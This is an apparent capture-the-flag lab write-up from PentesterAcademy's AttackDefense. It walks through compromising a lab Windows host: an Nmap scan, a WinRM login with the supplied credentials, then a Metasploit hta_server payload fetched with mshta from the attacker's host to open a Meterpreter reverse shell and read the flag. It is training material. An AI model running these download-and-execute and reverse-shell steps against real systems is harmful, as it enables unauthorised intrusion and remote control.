
ATTACK
DEFENSE
by PentesterAcademy

Name	Windows: HTA Server
URL	https://attackdefense.com/challengedetails?cid=2402
Type	Basic Exploitation: Pentesting

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Run a Nmap scan against the target IP.

Command: nmap --top-ports 65535 10.0.18.21

```
root@attackdefense:~# nmap --top-ports 65535 10.0.18.21
Starting Nmap 7.70 ( https://nmap.org ) at 2021-06-28 10:28 IST
Nmap scan report for 10.0.18.21
Host is up (0.056s latency).
Not shown: 8300 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
47001/tcp open  winrm

Nmap done: 1 IP address (1 host up) scanned in 23.24 seconds
root@attackdefense:~#
```

Step 2: We have discovered that the winrm server is running on port 5985. By default, the WinRM service uses port 5985 for HTTP. We have the credentials to access the remote server, we will run the Linux PowerShell to connect to the remote server via PSSession.

Running PowerShell

Command: pwsh

```
root@attackdefense:~# pwsh
PowerShell 7.0.0
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/powershell
Type 'help' to get help.

PS /root>
```

We have successfully launched the Powershell.

Step 3: Store target server credentials in creds variable.

Command: $cred = Get-Credential

Also, enter the target server credentials for the connection. administrator:chocolate_123321

```
PS /root> $cred = Get-Credential

PowerShell credential request
Enter your credentials.
User: administrator
Password for user administrator: ****************

PS /root>
```

Connecting to the target server using PSSession.

Commands: Enter-PSSession -ComputerName 10.0.18.21 -Authentication Negotiate -Credential $cred

```
PS /root> Enter-PSSession -ComputerName 10.0.18.21 -Authentication Negotiate  -Credential $cred
[10.0.18.21]: PS C:\Users\Administrator\Documents>
```

We are successfully connected to the target server. We now have full control of the server.

Step 4: Check the IP configuration information on the remote server.

Command: ipconfig /all

```
[10.0.18.21]: PS C:\Users\Administrator\Documents> ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : EC2AMAZ-3BQCO5U
   Primary Dns Suffix  . . . . . . . :
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : ap-southeast-1.ec2-utilities.amazonaws.com
                                       ap-southeast-1.compute.internal

Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : ap-southeast-1.compute.internal
   Description . . . . . . . . . . . : AWS PV Network Device #0
   Physical Address. . . . . . . . . : 06-42-FD-60-D3-18
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::18e:23bb:cdc8:b10f%4(Preferred)
   IPv4 Address. . . . . . . . . . . : 10.0.18.21(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Lease Obtained. . . . . . . . . . : Monday, June 28, 2021 4:57:57 AM
   Lease Expires . . . . . . . . . . : Monday, June 28, 2021 5:57:56 AM
   Default Gateway . . . . . . . . . : 10.0.16.1
   DHCP Server . . . . . . . . . . . : 10.0.16.1
   DHCPv6 IAID . . . . . . . . . . . : 118418632
```

Step 5: We will be running the hta server exploit module to gain the meterpreter shell on the attacker machine.

Open another terminal and type below commands.

Commands:
msfconsole -q
use exploit/windows/misc/hta_server
exploit

"*This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed.*"

Source: https://www.rapid7.com/db/modules/exploit/windows/misc/hta_server/

```
root@attackdefense:~# msfconsole -q
msf5 > use exploit/windows/misc/hta_server
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Using URL: http://0.0.0.0:8080/3DNaWL5PZTS.hta
[*] Local IP: http://10.10.15.2:8080/3DNaWL5PZTS.hta
[*] Server started.
msf5 exploit(windows/misc/hta_server) >
```

Copy the generated payload URL i.e "**http://10.10.15.2:8080/3DNaWL5PZTS.hta**" and run it on WinRM session with mshta command to gain the meterpreter shell.

Command: mshta.exe http://10.10.15.2:8080/3DNaWL5PZTS.hta

```
[10.0.18.21]: PS C:\Users\Administrator\Documents> mshta.exe http://10.10.15.2:8080/3DNaWL5PZTS.hta
[10.0.18.21]: PS C:\Users\Administrator\Documents>
```

```
msf5 > use exploit/windows/misc/hta_server
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Using URL: http://0.0.0.0:8080/3DNaWL5PZTS.hta
[*] Local IP: http://10.10.15.2:8080/3DNaWL5PZTS.hta
[*] Server started.
msf5 exploit(windows/misc/hta_server) > [*] 10.0.18.21       hta_server - Delivering Payload
[*] Sending stage (176195 bytes) to 10.0.18.21
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.18.21:49718) at 2021-06-28 10:37:46 +0530
```

We have received a meterpreter shell successfully.

Step 6: Read the flag.

Commands: sessions -i 1
cd C:\\Users\\Administrator\\Desktop
dir

```
msf5 exploit(windows/misc/hta_server) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > cd C:\\Users\\Administrator\\Desktop
meterpreter > dir
Listing: C:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2020-10-05 18:50:34 +0530  desktop.ini
100666/rw-rw-rw-  32    fil   2021-06-16 14:22:13 +0530  flag.txt

meterpreter > cat flag.txt
df30cb178eb8e37728f39b3e6551c8demeterpreter >
```

We have discovered the flag.

Flag: df30cb178eb8e37728f39b3e6551c8de

References

1. Powershell on Linux (https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-7)
2. HTA Web Server (https://www.rapid7.com/db/modules/exploit/windows/misc/hta_server/)